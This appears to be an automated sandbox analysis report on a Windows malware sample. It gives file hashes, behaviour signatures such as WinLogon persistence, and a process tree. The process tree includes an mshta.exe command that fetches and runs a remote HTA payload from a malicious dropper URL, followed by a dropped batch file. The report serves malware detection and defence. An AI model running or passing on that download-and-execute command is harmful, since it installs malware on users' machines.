Analysis

  • max time kernel
    9s
  • max time network
    18s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    06-03-2024 20:42

Errors

Reason
Machine shutdown

General

  • Target

    b8246260c03372bf7b2b17acb57aa868.exe

  • Size

    686KB

  • MD5

    b8246260c03372bf7b2b17acb57aa868

  • SHA1

    26a0753a1a75f4c252fb913e0984c6cd7b1b8175

  • SHA256

    fd7009adb7b014f3b9c6bb2160e045fa50a0209681c7b59a2f1e68702f9345d7

  • SHA512

    86b1cec1e6fb4dd76a4bdf63c43eecadc7f5a0ad4e31f36c5c5fb3cadeec849a004199998c7a27ee30e36eb74ed6199c8c1835cb198318f57fd15cbaf9774747

  • SSDEEP

    12288:iMm+m65MXsAGBLUc2k+CR/rvNKOHGiv1haSevAXFzmm388fw8a:5B55McAUf7NKO7j5IYfa

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://lastreporteriche.com/inst.php?id=skytraf01

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b8246260c03372bf7b2b17acb57aa868.exe
    "C:\Users\Admin\AppData\Local\Temp\b8246260c03372bf7b2b17acb57aa868.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2740
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" http://lastreporteriche.com/inst.php?id=skytraf01
      2⤵
      • Modifies Internet Explorer settings
      PID:2560
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Roaming\shire.bat" "
      2⤵
        PID:2152
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x0
      1⤵
        PID:2448
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x1
        1⤵
          PID:1008

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Roaming\shire.bat

          Filesize

          232B

          MD5

          b156fbe149339c448b2bd50efde7624f

          SHA1

          eccd9e85a2dca6005f23bf3721910ad4bf359f98

          SHA256

          0e6626acb5e2e3040969763d0d467b0d9fbb9ff36f8f0a553c47aa9681988245

          SHA512

          98b76fdd22c9aeebde8e30e4e7577b11d0af3a47aa307de3d2412ea3c2442c7697da94b824f402937776c3822d901202fd28538a251b3b1b3b24574405fe1a3a

        • memory/1008-15-0x00000000026E0000-0x00000000026E1000-memory.dmp

          Filesize

          4KB

        • memory/2448-13-0x0000000002B00000-0x0000000002B01000-memory.dmp

          Filesize

          4KB

        • memory/2740-0-0x0000000000400000-0x00000000006EC000-memory.dmp

          Filesize

          2.9MB

        • memory/2740-1-0x00000000001D0000-0x00000000001D1000-memory.dmp

          Filesize

          4KB

        • memory/2740-2-0x0000000003C50000-0x0000000003C60000-memory.dmp

          Filesize

          64KB

        • memory/2740-14-0x0000000000400000-0x00000000006EC000-memory.dmp

          Filesize

          2.9MB